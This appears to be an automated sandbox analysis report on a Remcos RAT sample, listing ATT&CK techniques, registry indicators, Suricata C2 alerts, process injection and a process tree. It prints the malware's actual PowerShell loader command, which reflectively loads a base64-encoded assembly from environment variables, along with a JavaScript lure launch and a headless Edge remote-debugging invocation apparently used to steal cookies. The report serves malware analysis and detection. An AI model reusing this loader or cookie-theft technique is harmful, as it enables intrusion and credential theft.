remcos | e2aa498ea12515bda490178f708405ffd4a50100c90291f544477b02ff299aaa

pid	Process
948	msedge.exe
5080	msedge.exe
224	msedge.exe
3256	msedge.exe
3152	msedge.exe

Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	cleanmgr.exe
Key enumerated	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	cleanmgr.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2136	powershell.exe

Enumerates connected drives 3 TTPs 2 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

ioc	Process
\??\F:\	cleanmgr.exe
\??\F:\	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2136 set thread context of 1148	2136	powershell.exe	94
PID 1148 set thread context of 1076	1148	cleanmgr.exe	102

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wscript.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4388	msedge.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-895009113-1202185046-1686627690-1000\{44750B22-81F8-4163-9E19-7631386FF72D}	msedge.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2136	powershell.exe
2136	powershell.exe
1148	cleanmgr.exe
1148	cleanmgr.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
948	msedge.exe
948	msedge.exe
948	msedge.exe
948	msedge.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2136	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
948	msedge.exe
948	msedge.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1148	cleanmgr.exe
4192	conhost.exe

Suspicious use of WriteProcessMemory 48 IoCs

description	pid	Process	procid_target
PID 2136 wrote to memory of 1148	2136	powershell.exe	94
PID 2136 wrote to memory of 1148	2136	powershell.exe	94
PID 2136 wrote to memory of 1148	2136	powershell.exe	94
PID 2136 wrote to memory of 1148	2136	powershell.exe	94
PID 2136 wrote to memory of 1148	2136	powershell.exe	94
PID 2136 wrote to memory of 1148	2136	powershell.exe	94
PID 4192 wrote to memory of 1048	4192	conhost.exe	95
PID 2136 wrote to memory of 1148	2136	powershell.exe	94
PID 2136 wrote to memory of 1148	2136	powershell.exe	94
PID 1148 wrote to memory of 1076	1148	cleanmgr.exe	102
PID 948 wrote to memory of 4376	948	msedge.exe	105
PID 948 wrote to memory of 872	948	msedge.exe	106
PID 948 wrote to memory of 4388	948	msedge.exe	107
PID 948 wrote to memory of 872	948	msedge.exe	106
PID 948 wrote to memory of 872	948	msedge.exe	106
PID 948 wrote to memory of 3780	948	msedge.exe	108
PID 948 wrote to memory of 3780	948	msedge.exe	108
PID 948 wrote to memory of 3152	948	msedge.exe	109
PID 948 wrote to memory of 3256	948	msedge.exe	110
PID 948 wrote to memory of 3152	948	msedge.exe	109
PID 948 wrote to memory of 3152	948	msedge.exe	109
PID 948 wrote to memory of 3256	948	msedge.exe	110
PID 948 wrote to memory of 3256	948	msedge.exe	110
PID 948 wrote to memory of 224	948	msedge.exe	111
PID 948 wrote to memory of 5080	948	msedge.exe	112
PID 948 wrote to memory of 224	948	msedge.exe	111
PID 948 wrote to memory of 224	948	msedge.exe	111
PID 948 wrote to memory of 5080	948	msedge.exe	112
PID 948 wrote to memory of 5080	948	msedge.exe	112
PID 948 wrote to memory of 4928	948	msedge.exe	114
PID 948 wrote to memory of 4928	948	msedge.exe	114
PID 948 wrote to memory of 4916	948	msedge.exe	115
PID 948 wrote to memory of 4916	948	msedge.exe	115
PID 948 wrote to memory of 220	948	msedge.exe	117
PID 948 wrote to memory of 2276	948	msedge.exe	116
PID 948 wrote to memory of 220	948	msedge.exe	117
PID 948 wrote to memory of 2276	948	msedge.exe	116
PID 948 wrote to memory of 516	948	msedge.exe	126
PID 948 wrote to memory of 516	948	msedge.exe	126
PID 948 wrote to memory of 3152	948	msedge.exe	121
PID 948 wrote to memory of 4260	948	msedge.exe	122
PID 948 wrote to memory of 4260	948	msedge.exe	122
PID 948 wrote to memory of 4744	948	msedge.exe	123
PID 948 wrote to memory of 4744	948	msedge.exe	123
PID 948 wrote to memory of 3696	948	msedge.exe	124
PID 948 wrote to memory of 3696	948	msedge.exe	124
PID 948 wrote to memory of 5016	948	msedge.exe	125
PID 948 wrote to memory of 5016	948	msedge.exe	125

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key enumerated	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	cleanmgr.exe

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\Multiple Card Charges.js"
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:1804

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoProfile -Command "$apaturia=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$szomolnokite=[System.Reflection.Assembly]::Load([Convert]::FromBase64String($apaturia));[Win32.RMP.Cls_NlnwcDjXpu]::Met_gVxRnCsYopJh('fOf+WtEYgP+o3mEhrlU15QetIJLpZTNQaQDNSCVyHXCyL6p7edg70IMQ8MvTCyiuRfABMBvT+ysmFesQRJFmubbWTEe8NXH7dYG0dnCQ3wA=','kzMzPU6S5HpspKOBMIFjTt4cOCy5JuNrTr6tUY4RM+8=','VA0QbcTo7mCJ9KviFRWuFtnf0I3zT5RJTVirTSafDeaJP5eBNsnzNPxYgB7B2xFl','etyxqKHwt1bC8kmkK2nfeC+RdTUHA/AGjXRo0mbKHZI=','5fofF+uz82afcXj5tOUxCC1+UvDN+Vcb+vC95YbQPbk=','fbqX4B7FxMMqhv/QET7/tHIgijaZEcvkSY3WjOBMYiw=','/wZCFpjo1RFN1of0XjtWSUCV0taGpaXdDcRnzr/vj8Q=','voYtlo9uDS3to4EkZdts5pyT99UlEVJK63VOEJOy5Xo=','','q8nueG5kfYd8aw+Nr1vWgIDXCdjWkouXBPj+kbyoP/uGsEulPM30iU4VS/zoBq7U','w/s+TKZyasAxSFJp0Zt1sPTWZSTG5TBOEI/68dM956I=','NfnbdlcacFF2LCgKqW3spJMChiWXHVIjRKcK4Z1Si0c=','7thbMWFGH2FzTPrSDgy3I5Iv8fkILIUCLYpJt9qgb9A=','d/zORDkt2k86GFQiJrQcfC65Md1+MSgoDU+5fNJCjZE=','ili+F8f1ACSPI9HE19QqWjiVJm1ABPKFSz5sQSgiwTM=','bQitxtA5C5cExoHyOyxkJn2Qr993prc9J1JaAv5s+7Y=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2136
- C:\Windows\System32\cleanmgr.exe
  C:\Windows\System32\cleanmgr.exe
  2⤵
  - Suricata alert: REMCOS RAT Malware Inbound C2 Communication
  - Suricata alert: REMCOS RAT Malware Outbound C2 Communication
  - Accesses Microsoft Outlook profiles
  - Enumerates connected drives
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  - outlook_office_path
  PID:1148
- - C:\Program Files\Google\Chrome\Application\Chrome.exe
    "C:\Program Files\Google\Chrome\Application\Chrome.exe"
    3⤵
    PID:1076
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --user-data-dir="C:\Users\Admin\AppData\Local\Temp\TmpUserData" --profile-directory="Default" --remote-debugging-port=9222 --headless
    3⤵
    - Uses browser remote debugging
    - Checks processor information in registry
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:948
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x234,0x238,0x23c,0x230,0x244,0x7fff5c62c188,0x7fff5c62c194,0x7fff5c62c1a0
      4⤵
      PID:4376
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --headless --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\TmpUserData" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --field-trial-handle=2136,i,5205423665194727190,4146654396884418341,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2132 /prefetch:2
      4⤵
      PID:872
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\TmpUserData" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2136,i,5205423665194727190,4146654396884418341,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2188 /prefetch:3
      4⤵
      System Time Discovery
      PID:4388
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\TmpUserData" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2136,i,5205423665194727190,4146654396884418341,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2416 /prefetch:8
      4⤵
      PID:3780
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\TmpUserData" --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2136,i,5205423665194727190,4146654396884418341,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3480 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:3152
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\TmpUserData" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=2136,i,5205423665194727190,4146654396884418341,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3496 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:3256
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\TmpUserData" --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=2136,i,5205423665194727190,4146654396884418341,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4116 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:224
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\TmpUserData" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=2136,i,5205423665194727190,4146654396884418341,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4124 /prefetch:2
      4⤵
      Uses browser remote debugging
      PID:5080
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\TmpUserData" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2136,i,5205423665194727190,4146654396884418341,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3508 /prefetch:8
      4⤵
      PID:4928
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\TmpUserData" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2136,i,5205423665194727190,4146654396884418341,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3600 /prefetch:8
      4⤵
      PID:4916
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\TmpUserData" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2136,i,5205423665194727190,4146654396884418341,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5208 /prefetch:8
      4⤵
      PID:2276
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\TmpUserData" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2136,i,5205423665194727190,4146654396884418341,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5336 /prefetch:8
      4⤵
      PID:220
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\TmpUserData" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2136,i,5205423665194727190,4146654396884418341,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=6056 /prefetch:8
      4⤵
      PID:540
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\TmpUserData" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2136,i,5205423665194727190,4146654396884418341,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=6116 /prefetch:8
      4⤵
      PID:516
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\TmpUserData" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2136,i,5205423665194727190,4146654396884418341,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=6056 /prefetch:8
      4⤵
      PID:3152
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\TmpUserData" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2136,i,5205423665194727190,4146654396884418341,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=6304 /prefetch:8
      4⤵
      PID:4260
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\TmpUserData" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2136,i,5205423665194727190,4146654396884418341,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=6352 /prefetch:8
      4⤵
      PID:4744
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\TmpUserData" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2136,i,5205423665194727190,4146654396884418341,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=6488 /prefetch:8
      4⤵
      PID:3696
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\TmpUserData" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2136,i,5205423665194727190,4146654396884418341,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=6340 /prefetch:8
      4⤵
      PID:5016

C:\Windows\system32\conhost.exe
conhost.exe
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4192
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe
  2⤵
  PID:1048

C:\Windows\System32\sihclient.exe
C:\Windows\System32\sihclient.exe /cv fICGCMVqoUyDdV5Zvwl1zQ.0.2
1⤵
PID:516

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Modify Authentication Process

Privilege Escalation

Defense Evasion

Modify Authentication Process

Credential Access

Modify Authentication Process

Steal Web Session Cookie

T1539

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery